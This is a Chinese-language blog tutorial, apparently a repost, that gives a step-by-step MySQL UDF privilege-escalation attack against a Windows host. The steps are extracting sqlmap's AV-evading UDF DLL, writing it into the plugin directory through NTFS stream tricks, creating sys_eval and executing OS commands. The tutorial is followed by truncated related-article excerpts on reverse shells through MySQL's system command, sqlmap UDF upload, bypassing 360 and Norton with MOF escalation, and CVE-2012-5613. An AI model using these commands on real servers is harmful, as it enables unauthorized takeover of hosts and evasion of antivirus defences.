MySQL UDF提权获取主机控制权

UDF(User defined function)是MySQL的一个拓展接口,用来扩展MySQL的功能。在具备MySQL管理员访问权限的条件下,可利用该特性进行提权,获取所在主机的控制权。下面以windows主机为例,给出具体的步骤:

1、python clock.py -d -i lib_mysqludfsys.dll

此步是获取攻击用的UDF dll。首先要安装sqlmap,然后运行上述命令即可得到解码之后的UDF dll。(sqlmap对其进行编码是为了免杀)

2、mysql -h target_ip -uroot -p

与目标MySQL建立连接

3、select version();

查看MySQL版本

4、select @@basedir;

查看MySQL的安装目录。假设为 c:\program files\mysql\mysql server 5.1

5、select @@plugin_dir;

查看MySQL的插件目录。假设为c:\program files\mysql\mysql server 5.1\plugin

6、select ‘it is dll‘ into dumpfile ‘c:\program files\mysql\mysql server 5.1\lib::$INDEX_ALLOCATION‘;

创建lib目录

7、select ‘it is dll‘ into dumpfile ‘c:\program files\mysql\mysql server 5.1\plugin::$INDEX_ALLOCATION‘;

创建plugin目录

8、select unhex(‘hex_of_udf.dll‘) into dumpfile "c:\program files\mysql\mysql server 5.1\plugin\udf.dll";

创建udf.dll,上述命令中hex_of_udf.dll是udf.dll的十六进制文本,可用winhex等编辑软件获得

9、create function sys_eval returns string soname ‘udf.dll‘;

创建函数

10、select sys_eval(‘whoami‘);

执行shell命令,表明以获取操作系统的控制权

原文地址:http://blog.51cto.com/watertoeast/2068563

时间: 2024-08-05 21:25:19

MySQL UDF提权获取主机控制权的相关文章

MySQL的system命令在渗透测试中的使用以及UDF提权

一.MySQL中的system命令 在MySQL 5.x中增加了system命令,简单的符号是\!,从而使MySQL可以执行系统的命令 1 mysql> system echo "12345" 2 12345 因为突发奇想,可以使用这个办法反弹shell 结果OK: 尝试和select拼接执行,这样是成功的 想到这里其实可以拼接在SQL注入语句中执行OS命令,或者能连上MySQL之后直接执行OS命令反弹shell. 二.MySQL UDF提权 这里按照linux类操作系统举例了,

udf提权原理详解

0x00-前言 这个udf提权复现搞了三天,终于搞出来了.网上的教程对于初学者不太友好,以至于我一直迷迷糊糊的,走了不少弯路.下面就来总结一下我的理解. 想要知道udf提权是怎么回事,首先要先知道udf是什么. 环境: 本机os: win10 靶机os: win7 php: 5.4.45 mysql: 5.5 0x01-udf是什么? udf = 'user defined function',即'用户自定义函数'.是通过添加新函数,对MYSQL的功能进行扩充,性质就象使用本地MYSQL函数如a

疑难杂症----udf提权无法导出.dll

昨天进行测试一个网站,进行udf提权时候,没办法导出.dll, 起初以为是这个马的问题,后来用专用马,一样不行,但是有报错了,有上网找了半天,终于被我找到了. Mysql数据库从文件导入或导出到文件,提示: The MySQL server is running with the --secure-file-priv option so it cannot execute this statement. 因为一些版本的mysql对通过文件导入导出作了限制,默认不允许, 查看配置,执行mysql命

一次利用MSSQL的SA账户提权获取服务器权限

遇到小人,把服务器整走了 自己手里只有sql server的sa账号密码 模糊记起之前用这个账户提权读取文件的事 百度之,发现相关信息一堆堆 各种工具也用了不少 发现不是语法错误就是权限不够 无奈之下装了sql server r2直接来操作 顺利连接上去,看到有master这个库. 直奔重点去 这里要用到的就是xp_cmdshell这个存储过程,算是mssql有sa权限下的提权利器,不过有经验的管理员一般都会用各种牛逼的方法去禁止普通用户使用它 尝试用正常的方法打开xp_cmdshell: EX

cve-2012-5613 mysql本地提权

cve-2012-5613  是一个通过FILE权限写Trigger的TRG存储文件(即伪造Trigger),由root触发而导致权限提升的漏洞.不知道为什么这个漏洞一直没修,可能mysql认为这是一个特性吧. 准备 测试环境: Server version: 5.5.48-log Source distribution 在test数据库中创建一个触发器: create table foo (a INT, b INT, ts TIMESTAMP); create table bar (a INT

SQLMAP UDF提权

1.连接mysql数据打开一个交互shell: sqlmap.py -d mysql://root:[email protected]:3306/test --sql-shellselect @@version;select @@plugin_dir;d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\ 2.利用sqlmap上传lib_mysqludf_sys到MySQL插件目录:sqlmap.py -d mysql://root:[email 

一次绕过360+诺顿的提权过程

索引 0x01 获取webshell 0x02 绕过杀软提权思路 0x03 mof 提权原理 0x04利用mysql写入mof提权 0x05 总结 0x01 获取webshell 在一次渗透中,获取了内网主机若干,外网就只搞下2台主机,一直想对关键的业务服务器进行渗透,机缘巧合之下 看见目标主战居然是dedecms,版本比较新是20150507 的,手上没有0day,就靠基本思路后台--webshell来搞,先猜后台 /admin123 管理员名字+电话 /admin域名 域名+admin 域名

内网提权-服务篇

服务提权 mysql UDF提权 要求有写权限,并且未过滤单引号 windows UDF导出到系统目录 C:/WINDOWS/SYSTEM32/ MYSQL版本 < 5.1 UDF导出到安装路径 MYSQL\Lib\Plugin MYSQL版本 > 5.1 linux /usr/lib/mysql/plugin MOF提权 只有windows 步骤 1.找个可写目录,将MOF文件上传 2.执行以下sql语句,mof文件内命令便会执行 select load_file('C:/wmpub/nul

提权系列(一)----Windows Service 服务器提权初识与exp提权,mysql提权

一.初识提权 很多时候我们入侵一个网站的时候,想要的是得到这个服务器的权限,也就是admin权限,但是一般默认得到的是普通用的地权限,权限很小,所以就要通过其他手段,提升自己的权限. 提权是将服务器的普通用户提升为管理员用户的一种操作,提权常常用于辅助旁注攻击. 下面我们来了解下window的权限(来自百度百科): Windows 提供了非常细致的权限控制项,能够精确定制用户对资源的访问控制能力,大多数的权限从其名称上就可以基本了解其所能实现的内容. " 权限"(Permission)